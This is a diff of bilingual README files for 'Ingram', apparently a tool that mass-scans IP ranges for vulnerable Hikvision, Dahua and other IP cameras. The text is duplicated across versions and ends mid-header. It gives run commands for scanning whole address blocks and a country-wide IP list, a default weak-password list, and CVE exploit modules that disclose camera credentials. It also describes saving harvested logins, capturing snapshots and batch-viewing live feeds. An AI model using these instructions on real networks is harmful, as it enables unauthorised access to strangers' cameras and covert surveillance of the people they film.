||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
|
||||
## Preparation
|
||||
|
||||
+ You should prepare a target file, which contains the ip addresses will be scanned. The following formats are allowed:
|
||||
```
|
||||
# Use '#' to comment (must have a single line!!)
|
||||
# Single ip
|
||||
192.168.0.1
|
||||
# Single ip with port
|
||||
192.168.0.2:80
|
||||
# IP segment with '/'
|
||||
192.168.0.0/16
|
||||
# IP segment with '-'
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
+ The `utils/config.py` file already specifies some usernames and passwords to support weak password scanning. You can expand or decrease it:
|
||||
```python
|
||||
# camera
|
||||
USERS = ['admin']
|
||||
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
|
||||
```
|
||||
|
||||
+ (**Optional**) If you use wechat app, and want to get a reminder on your phone. You need to follow [wxpusher](https://wxpusher.zjiecode.com/docs/) instructions to get your *UID* and *APP_TOKEN*, and write them to `utils/config.py`:
|
||||
```python
|
||||
# wechat
|
||||
UIDS = ['This is your UID', 'This is another UID if you have', ...]
|
||||
TOKEN = 'This is your APP_TOKEN'
|
||||
```
|
||||
|
||||
+ (**Optional**) Email is not supported yet...
|
||||
|
||||
|
||||
## Run
|
||||
|
||||
```shell
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--in_file IN_FILE the targets will be scan
|
||||
--out_path OUT_PATH the path where results saved
|
||||
--send_msg send finished msg to you (by wechat or email)
|
||||
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
|
||||
--hik_weak
|
||||
--dahua_weak
|
||||
--cctv_weak
|
||||
--hb_weak
|
||||
--cve_2021_36260
|
||||
--cve_2021_33044
|
||||
--cve_2021_33045
|
||||
--cve_2017_7921
|
||||
--cve_2020_25078
|
||||
--th_num TH_NUM the processes num
|
||||
--nosnap do not capture snapshot
|
||||
--masscan run masscan sanner
|
||||
--port PORT same as masscan port
|
||||
--rate RATE same as masscan rate
|
||||
```
|
||||
|
||||
+ Scan with all modules (**TARGET** is your ip file, **OUT_DIR** is the path where results will be saved):
|
||||
```bash
|
||||
# th_num number of threads needs to be adjusted by yourself to state of your network
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
|
||||
|
||||
# If you use wechat, then the --send_msg should be provided:
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
|
||||
```
|
||||
|
||||
+ Snapshots (Snapshoting is supported by default, but you can disable it with --nosnap if you think it's too slow)
|
||||
```bash
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
|
||||
```
|
||||
|
||||
+ There are some *IP FILE* in `statics/iplist/data/` that you can use, for example:
|
||||
```bash
|
||||
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ All modules can be combined arbitrarily to scan, for example, if you want to scan Hikvision, then:
|
||||
```bash
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
|
||||
```
|
||||
|
||||
+ Direct scanning can be slow. You can use the Masscan to speed up. The Masscan needs to be installed in advance. For example, we find hosts whose port 80 and 8000 to 8008 opened and scan them:
|
||||
```shell
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
|
||||
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ If your program breaks due to network or other reasons, you can continue the previous process by simply running the command that ran last time. For example, the last command you executed was `./run_ingram.py --in ip.txt --out output --all --th_num 80`, to resume, simply continue `./run_ingram.py --in ip.txt --out output --all --th_num 80`, also for the masscan.
|
||||
|
||||
|
||||
## Results
|
||||
|
||||
```bash
|
||||
.
|
||||
├── not_vulnerable.csv
|
||||
├── results_all.csv
|
||||
├── results_simple.csv
|
||||
└── snapshots
|
||||
```
|
||||
|
||||
+ The comprehensive results are saved in the `OUT_DIR/results_all.csv` file, and each line is `ip,port,user,passwd,device,vulnerability`:
|
||||

|
||||
|
||||
+ The `OUT_DIR/results_simple.csv` file contains only the target with the password, in the format of `IP,port,user,passwd`
|
||||
|
||||
+ `OUT_DIR/not_vulnerable.csv` file is stored in the target without vulnerability exposure
|
||||
|
||||
+ Some camera's snapshots can be found in `OUT_DIR/snapshots/`:
|
||||

|
||||
|
||||
|
||||
## The Live
|
||||
|
||||
+ You can log in directly from the browser to see the live screen.
|
||||
|
||||
+ If you want to view the live screen in batch, we provided a script: `show/show_rtsp/show_all.py`, though it has some flaws:
|
||||
```shell
|
||||
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
## Change Logs
|
||||
|
||||
+ [2022-06-11] **Optimized running speed; Supportted storage of the not vulnerable targets**
|
||||
|
||||
+ [2022-06-11] **Resume supported!!!**
|
||||
|
||||
+ [2022-07-23] **You can obtain the user and password through CVE-2021-33044(Dahua)!!! Updated snapshot logic (change rtsp to http), optimized running speed.**
|
||||
- **Since the new version adds some dependency packages, the environment needs to be reconfigured!**
|
||||
|
||||
+ [2022-08-05] **Added CVE-2021-33045 (Dahua NVR), but the snapshot function is not always available because the NVR device's account&password may be different from the real camera**
|
||||
|
||||
+ [2022-08-06] **Added password disclosure module for Uniview camera, does not support snapshot yet**
|
||||
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is only for learning and safety testing, do not fucking use it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!!
|
||||
|
||||
|
||||
## Acknowledgements & References
|
||||
|
||||
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
|
||||
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
|
||||
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
|
||||
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/master/statics/imgs/logo.png">
|
||||
</div>
|
||||
|
||||
|
||||
+ new features: support windows, reconstructure, async, msg-queue, not masscan
|
||||
|
||||
|
||||
<!-- icons -->
|
||||
<div align=center>
|
||||
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
|
||||
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
|
||||
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
|
||||
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
|
||||
</div>
|
||||
|
||||
|
||||
English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README_CN.md)
|
||||
|
||||
|
||||
## Introduction
|
||||
|
||||

|
||||
|
||||
Schools, hospitals, shopping malls, restaurants, and other places where equipment is not well maintained, there will always be vulnerabilities, either because they are not patched in time or because weak passwords are used to save trouble.
|
||||
|
||||
This tool can use multiple threads to batch detect whether there are vulnerabilities in the cameras on the local or public network, so as to repair them in time and improve device security.
|
||||
|
||||
**Only successfully tested on Mac and Linux, but not on Windows!**
|
||||
|
||||
|
||||
## Installation
|
||||
|
||||
+ Clone this repository by:
|
||||
```bash
|
||||
git clone https://github.com/jorhelp/Ingram.git
|
||||
```
|
||||
|
||||
+ **Make sure the Python version you use is >= 3.7**, and install packages by:
|
||||
```bash
|
||||
cd Ingram
|
||||
pip install git+https://github.com/arthaud/python3-pwntools.git
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
|
||||
## Preparation
|
||||
|
||||
+ You should prepare a target file, which contains the ip addresses will be scanned. The following formats are allowed:
|
||||
```
|
||||
# Use '#' to comment (must have a single line!!)
|
||||
# Single ip
|
||||
192.168.0.1
|
||||
# IP segment with '/'
|
||||
192.168.0.0/16
|
||||
# IP segment with '-'
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
+ The `utils/config.py` file already specifies some usernames and passwords to support weak password scanning. You can expand or decrease it:
|
||||
```python
|
||||
# camera
|
||||
USERS = ['admin']
|
||||
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
|
||||
```
|
||||
|
||||
+ (**Optional**) If you use wechat app, and want to get a reminder on your phone. You need to follow [wxpusher](https://wxpusher.zjiecode.com/docs/) instructions to get your *UID* and *APP_TOKEN*, and write them to `utils/config.py`:
|
||||
```python
|
||||
# wechat
|
||||
UIDS = ['This is your UID', 'This is another UID if you have', ...]
|
||||
TOKEN = 'This is your APP_TOKEN'
|
||||
```
|
||||
|
||||
+ (**Optional**) Email is not supported yet...
|
||||
|
||||
|
||||
## Run
|
||||
|
||||
```shell
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--in_file IN_FILE the targets will be scan
|
||||
--out_path OUT_PATH the path where results saved
|
||||
--send_msg send finished msg to you (by wechat or email)
|
||||
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
|
||||
--hik_weak
|
||||
--dahua_weak
|
||||
--cctv_weak
|
||||
--hb_weak
|
||||
--cve_2021_36260
|
||||
--cve_2021_33044
|
||||
--cve_2021_33045
|
||||
--cve_2017_7921
|
||||
--cve_2020_25078
|
||||
--th_num TH_NUM the processes num
|
||||
--nosnap do not capture snapshot
|
||||
--masscan run masscan sanner
|
||||
--port PORT same as masscan port
|
||||
--rate RATE same as masscan rate
|
||||
```
|
||||
|
||||
+ Scan with all modules (**TARGET** is your ip file, **OUT_DIR** is the path where results will be saved):
|
||||
```bash
|
||||
# th_num number of threads needs to be adjusted by yourself to state of your network
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
|
||||
|
||||
# If you use wechat, then the --send_msg should be provided:
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
|
||||
```
|
||||
|
||||
+ Snapshots (Snapshoting is supported by default, but you can disable it with --nosnap if you think it's too slow)
|
||||
```bash
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
|
||||
```
|
||||
|
||||
+ There are some *IP FILE* in `statics/iplist/data/` that you can use, for example:
|
||||
```bash
|
||||
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ All modules can be combined arbitrarily to scan, for example, if you want to scan Hikvision, then:
|
||||
```bash
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
|
||||
```
|
||||
|
||||
+ Direct scanning can be slow. You can use the Masscan to speed up. The Masscan needs to be installed in advance. For example, we find hosts whose port 80 and 8000 to 8008 opened and scan them:
|
||||
```shell
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
|
||||
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ If your program breaks due to network or other reasons, you can continue the previous process by simply running the command that ran last time. For example, the last command you executed was `./run_ingram.py --in ip.txt --out output --all --th_num 80`, to resume, simply continue `./run_ingram.py --in ip.txt --out output --all --th_num 80`, also for the masscan.
|
||||
|
||||
|
||||
## Results
|
||||
|
||||
```bash
|
||||
.
|
||||
├── not_vulnerable.csv
|
||||
├── results_all.csv
|
||||
├── results_simple.csv
|
||||
└── snapshots
|
||||
```
|
||||
|
||||
+ The comprehensive results are saved in the `OUT_DIR/results_all.csv` file, and each line is `ip,port,user,passwd,device,vulnerability`:
|
||||

|
||||
|
||||
+ The `OUT_DIR/results_simple.csv` file contains only the target with the password, in the format of `IP,port,user,passwd`
|
||||
|
||||
+ `OUT_DIR/not_vulnerable.csv` file is stored in the target without vulnerability exposure
|
||||
|
||||
+ Some camera's snapshots can be found in `OUT_DIR/snapshots/`:
|
||||

|
||||
|
||||
|
||||
## The Live
|
||||
|
||||
+ You can log in directly from the browser to see the live screen.
|
||||
|
||||
+ If you want to view the live screen in batch, we provided a script: `show/show_rtsp/show_all.py`, though it has some flaws:
|
||||
```shell
|
||||
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
## Change Logs
|
||||
|
||||
+ [2022-06-11] **Optimized running speed; Supportted storage of the not vulnerable targets**
|
||||
|
||||
+ [2022-06-11] **Resume supported!!!**
|
||||
|
||||
+ [2022-07-23] **You can obtain the user and password through CVE-2021-33044(Dahua)!!! Updated snapshot logic (change rtsp to http), optimized running speed.**
|
||||
- **Since the new version adds some dependency packages, the environment needs to be reconfigured!**
|
||||
|
||||
+ [2022-08-05] **Added CVE-2021-33045 (Dahua NVR), but the snapshot function is not always available because the NVR device's account&password may be different from the real camera**
|
||||
|
||||
+ [2022-08-06] **Added password disclosure module for Uniview camera, does not support snapshot yet**
|
||||
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is only for learning and safety testing, do not fucking use it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!!
|
||||
|
||||
|
||||
## Acknowledgements & References
|
||||
|
||||
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
|
||||
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
|
||||
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
|
||||
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
|
||||
|
||||
+191
-191
@@ -1,191 +1,191 @@
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/master/statics/imgs/logo.png">
|
||||
</div>
|
||||
|
||||
|
||||
<!-- icons -->
|
||||
<div align=center>
|
||||
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
|
||||
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
|
||||
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
|
||||
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
|
||||
</div>
|
||||
|
||||
|
||||
简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.md)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||

|
||||
|
||||
一个多线程批量检测网络摄像头是否暴露的工具。
|
||||
|
||||
**只在 Mac 与 Linux 上测试过,没有在 Windows 平台进行测试**
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
+ 克隆该仓库:
|
||||
```bash
|
||||
git clone https://github.com/jorhelp/Ingram.git
|
||||
```
|
||||
|
||||
+ 确保你安装了 3.7 及以上的 Python,然后进入项目目录安装依赖:
|
||||
```bash
|
||||
cd Ingram
|
||||
pip install git+https://github.com/arthaud/python3-pwntools.git
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
至此安装完毕!
|
||||
|
||||
|
||||
## 运行之前的准备工作
|
||||
|
||||
+ 你需要准备一个目标文件,里面保存着你要扫描的 IP 地址,每行一个目标,具体格式如下:
|
||||
```
|
||||
# 你可以使用井号(#)来进行注释
|
||||
# 单个的 IP 地址
|
||||
192.168.0.1
|
||||
# IP 地址以及要扫描的端口
|
||||
192.168.0.2:80
|
||||
# 带 '/' 的IP段
|
||||
192.168.0.0/16
|
||||
# 带 '-' 的IP段
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
+ `utils/config.py` 文件里已经指定了一些用户名与密码来支持弱口令扫描,你可以随意修改它们(如果你想测试其他密码的话):
|
||||
```python
|
||||
# camera
|
||||
USERS = ['admin']
|
||||
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
|
||||
```
|
||||
|
||||
+ (**可选**) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*,并将其写入 `utils/config.py`:
|
||||
```python
|
||||
# wechat
|
||||
UIDS = ['This is your UID', 'This is another UID if you have', ...]
|
||||
TOKEN = 'This is your APP_TOKEN'
|
||||
```
|
||||
|
||||
+ (**可选**) 邮件提醒暂时不支持...
|
||||
|
||||
|
||||
## 运行
|
||||
|
||||
```shell
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--in_file IN_FILE the targets will be scan
|
||||
--out_path OUT_PATH the path where results saved
|
||||
--send_msg send finished msg to you (by wechat or email)
|
||||
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
|
||||
--hik_weak
|
||||
--dahua_weak
|
||||
--cctv_weak
|
||||
--hb_weak
|
||||
--cve_2021_36260
|
||||
--cve_2021_33044
|
||||
--cve_2021_33045
|
||||
--cve_2017_7921
|
||||
--cve_2020_25078
|
||||
--th_num TH_NUM the processes num
|
||||
--nosnap do not capture snapshot
|
||||
--masscan run masscan sanner
|
||||
--port PORT same as masscan port
|
||||
--rate RATE same as masscan rate
|
||||
```
|
||||
|
||||
+ 使用所有模块来扫描 (**TARGET** 是你的目标文件, **OUT_DIR** 是结果保存路径):
|
||||
```bash
|
||||
# th_num 线程数量根据你的网络情况自行调整
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
|
||||
|
||||
# 如果你已经配置好了微信,那么 --send_msg 参数应该加上
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
|
||||
```
|
||||
|
||||
+ 摄像头快照 (默认是支持快照抓取的,如果你嫌它太慢可以使用 --nosnap 参数来关闭)
|
||||
```bash
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
|
||||
```
|
||||
|
||||
+ 在 `statics/iplist/data/` 路径下有一些 IP 文件,你可以直接拿来使用,例如扫描日本(JP)的设备:
|
||||
```shell
|
||||
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ 所有的模块可以任意组合,例如,如果你想扫描海康设备,那么:
|
||||
```shell
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
|
||||
```
|
||||
|
||||
+ 可以使用 Masscan 来加速扫描过程,原理就是先用 Masscan 找到指定端口开放的设备,然后再扫描这些设备 (Masscan需要自己安装):
|
||||
```shell
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
|
||||
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ 中断恢复。如果因为网络原因或其他原因导致运行中断了,只需运行和之前相同的命令即可继续运行,例如,如果你之前执行的是 `./run_ingram.py --in ip.txt --out output --all --th_num 80`,只需继续执行该命令即可恢复。对于 Masscan 也是一样。
|
||||
|
||||
|
||||
## 结果
|
||||
|
||||
```bash
|
||||
.
|
||||
├── not_vulnerable.csv
|
||||
├── results_all.csv
|
||||
├── results_simple.csv
|
||||
└── snapshots
|
||||
```
|
||||
|
||||
+ `OUT_DIR/results_all.csv` 文件里面保存了完整的结果, 格式为: `ip,port,user,passwd,device,vulnerability`:
|
||||

|
||||
|
||||
+ `OUT_DIR/results_simple.csv` 文件里面只保存了有密码的目标,格式为: `ip,port,user,passwd`
|
||||
|
||||
+ `OUT_DIR/not_vulnerable.csv` 中保存的是没有暴露的设备
|
||||
|
||||
+ `OUT_DIR/snapshots/` 中保存了部分设备的截图:
|
||||

|
||||
|
||||
|
||||
## 实时预览
|
||||
|
||||
+ 可以直接通过浏览器登录来预览
|
||||
|
||||
+ 如果想批量查看,我们提供了一个脚本 `show/show_rtsp/show_all.py`,不过它还有一些问题:
|
||||
```shell
|
||||
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
## 更新日志
|
||||
|
||||
+ [2022-06-11] **优化运行速度,支持存储非暴露设备**
|
||||
|
||||
+ [2022-06-11] **支持中断恢复**
|
||||
|
||||
+ [2022-07-23] **可以通过 CVE-2021-33044(Dahua) 来获取用户名与密码了!修改了摄像头快照逻辑(将rtsp替换为了http),优化了运行速度**
|
||||
- **由于新版本加入了一些依赖包,需要重新配置环境!!!**
|
||||
|
||||
+ [2022-08-05] **增加了 CVE-2021-33045(Dahua NVR),不过由于NVR设备的账号密码与真正的摄像头的账号密码可能不一致,所以快照功能并不总是有效**
|
||||
|
||||
+ [2022-08-06] **增加了 Uniview 设备的密码暴露模块,暂不支持快照**
|
||||
|
||||
|
||||
## 免责声明
|
||||
|
||||
本工具仅供安全测试,严禁用于非法用途,后果与本团队无关
|
||||
|
||||
|
||||
## 鸣谢 & 引用
|
||||
|
||||
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
|
||||
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
|
||||
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
|
||||
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/asyncio/statics/imgs/logo.png">
|
||||
</div>
|
||||
|
||||
|
||||
<!-- icons -->
|
||||
<div align=center>
|
||||
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
|
||||
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
|
||||
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
|
||||
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
|
||||
</div>
|
||||
|
||||
|
||||
简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.md)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||

|
||||
|
||||
一个多线程批量检测网络摄像头是否暴露的工具。
|
||||
|
||||
**只在 Mac 与 Linux 上测试过,没有在 Windows 平台进行测试**
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
+ 克隆该仓库:
|
||||
```bash
|
||||
git clone https://github.com/jorhelp/Ingram.git
|
||||
```
|
||||
|
||||
+ 确保你安装了 3.7 及以上的 Python,然后进入项目目录安装依赖:
|
||||
```bash
|
||||
cd Ingram
|
||||
pip install git+https://github.com/arthaud/python3-pwntools.git
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
至此安装完毕!
|
||||
|
||||
|
||||
## 运行之前的准备工作
|
||||
|
||||
+ 你需要准备一个目标文件,里面保存着你要扫描的 IP 地址,每行一个目标,具体格式如下:
|
||||
```
|
||||
# 你可以使用井号(#)来进行注释
|
||||
# 单个的 IP 地址
|
||||
192.168.0.1
|
||||
# IP 地址以及要扫描的端口
|
||||
192.168.0.2:80
|
||||
# 带 '/' 的IP段
|
||||
192.168.0.0/16
|
||||
# 带 '-' 的IP段
|
||||
192.168.0.0-192.168.255.255
|
||||
```
|
||||
|
||||
+ `utils/config.py` 文件里已经指定了一些用户名与密码来支持弱口令扫描,你可以随意修改它们(如果你想测试其他密码的话):
|
||||
```python
|
||||
# camera
|
||||
USERS = ['admin']
|
||||
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
|
||||
```
|
||||
|
||||
+ (**可选**) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*,并将其写入 `utils/config.py`:
|
||||
```python
|
||||
# wechat
|
||||
UIDS = ['This is your UID', 'This is another UID if you have', ...]
|
||||
TOKEN = 'This is your APP_TOKEN'
|
||||
```
|
||||
|
||||
+ (**可选**) 邮件提醒暂时不支持...
|
||||
|
||||
|
||||
## 运行
|
||||
|
||||
```shell
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--in_file IN_FILE the targets will be scan
|
||||
--out_path OUT_PATH the path where results saved
|
||||
--send_msg send finished msg to you (by wechat or email)
|
||||
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
|
||||
--hik_weak
|
||||
--dahua_weak
|
||||
--cctv_weak
|
||||
--hb_weak
|
||||
--cve_2021_36260
|
||||
--cve_2021_33044
|
||||
--cve_2021_33045
|
||||
--cve_2017_7921
|
||||
--cve_2020_25078
|
||||
--th_num TH_NUM the processes num
|
||||
--nosnap do not capture snapshot
|
||||
--masscan run masscan sanner
|
||||
--port PORT same as masscan port
|
||||
--rate RATE same as masscan rate
|
||||
```
|
||||
|
||||
+ 使用所有模块来扫描 (**TARGET** 是你的目标文件, **OUT_DIR** 是结果保存路径):
|
||||
```bash
|
||||
# th_num 线程数量根据你的网络情况自行调整
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
|
||||
|
||||
# 如果你已经配置好了微信,那么 --send_msg 参数应该加上
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
|
||||
```
|
||||
|
||||
+ 摄像头快照 (默认是支持快照抓取的,如果你嫌它太慢可以使用 --nosnap 参数来关闭)
|
||||
```bash
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
|
||||
```
|
||||
|
||||
+ 在 `statics/iplist/data/` 路径下有一些 IP 文件,你可以直接拿来使用,例如扫描日本(JP)的设备:
|
||||
```shell
|
||||
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ 所有的模块可以任意组合,例如,如果你想扫描海康设备,那么:
|
||||
```shell
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
|
||||
```
|
||||
|
||||
+ 可以使用 Masscan 来加速扫描过程,原理就是先用 Masscan 找到指定端口开放的设备,然后再扫描这些设备 (Masscan需要自己安装):
|
||||
```shell
|
||||
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
|
||||
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
|
||||
```
|
||||
|
||||
+ 中断恢复。如果因为网络原因或其他原因导致运行中断了,只需运行和之前相同的命令即可继续运行,例如,如果你之前执行的是 `./run_ingram.py --in ip.txt --out output --all --th_num 80`,只需继续执行该命令即可恢复。对于 Masscan 也是一样。
|
||||
|
||||
|
||||
## 结果
|
||||
|
||||
```bash
|
||||
.
|
||||
├── not_vulnerable.csv
|
||||
├── results_all.csv
|
||||
├── results_simple.csv
|
||||
└── snapshots
|
||||
```
|
||||
|
||||
+ `OUT_DIR/results_all.csv` 文件里面保存了完整的结果, 格式为: `ip,port,user,passwd,device,vulnerability`:
|
||||

|
||||
|
||||
+ `OUT_DIR/results_simple.csv` 文件里面只保存了有密码的目标,格式为: `ip,port,user,passwd`
|
||||
|
||||
+ `OUT_DIR/not_vulnerable.csv` 中保存的是没有暴露的设备
|
||||
|
||||
+ `OUT_DIR/snapshots/` 中保存了部分设备的截图:
|
||||

|
||||
|
||||
|
||||
## 实时预览
|
||||
|
||||
+ 可以直接通过浏览器登录来预览
|
||||
|
||||
+ 如果想批量查看,我们提供了一个脚本 `show/show_rtsp/show_all.py`,不过它还有一些问题:
|
||||
```shell
|
||||
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
## 更新日志
|
||||
|
||||
+ [2022-06-11] **优化运行速度,支持存储非暴露设备**
|
||||
|
||||
+ [2022-06-11] **支持中断恢复**
|
||||
|
||||
+ [2022-07-23] **可以通过 CVE-2021-33044(Dahua) 来获取用户名与密码了!修改了摄像头快照逻辑(将rtsp替换为了http),优化了运行速度**
|
||||
- **由于新版本加入了一些依赖包,需要重新配置环境!!!**
|
||||
|
||||
+ [2022-08-05] **增加了 CVE-2021-33045(Dahua NVR),不过由于NVR设备的账号密码与真正的摄像头的账号密码可能不一致,所以快照功能并不总是有效**
|
||||
|
||||
+ [2022-08-06] **增加了 Uniview 设备的密码暴露模块,暂不支持快照**
|
||||
|
||||
|
||||
## 免责声明
|
||||
|
||||
本工具仅供安全测试,严禁用于非法用途,后果与本团队无关
|
||||
|
||||
|
||||
## 鸣谢 & 引用
|
||||
|
||||
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
|
||||
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
|
||||
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
|
||||
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
|
||||
|
||||
+11
-10
@@ -1,10 +1,11 @@
|
||||
aiohttp
|
||||
colorama
|
||||
IPy
|
||||
requests
|
||||
wxpusher
|
||||
ndjson
|
||||
pycryptodome
|
||||
tzlocal
|
||||
pyOpenSSL
|
||||
pwn
|
||||
IPy
|
||||
gevent
|
||||
colorama
|
||||
wxpusher
|
||||
pwntools>=4.3.1
|
||||
ndjson>=0.3.1
|
||||
pycryptodome>=3.9.7
|
||||
tzlocal>=2.1
|
||||
pyOpenSSL>=19.1.0
|
||||
requests>=2.20.0
|
||||
pwn~=1.0
|
||||
+53
-49
@@ -1,49 +1,53 @@
|
||||
#! /usr/bin/env -S python3 -Bu
|
||||
# coding: utf-8
|
||||
# @Auth: Jor<jorhelp@qq.com>
|
||||
# @Date: Wed Apr 20 00:17:30 HKT 2022
|
||||
# @Desc: Ingram
|
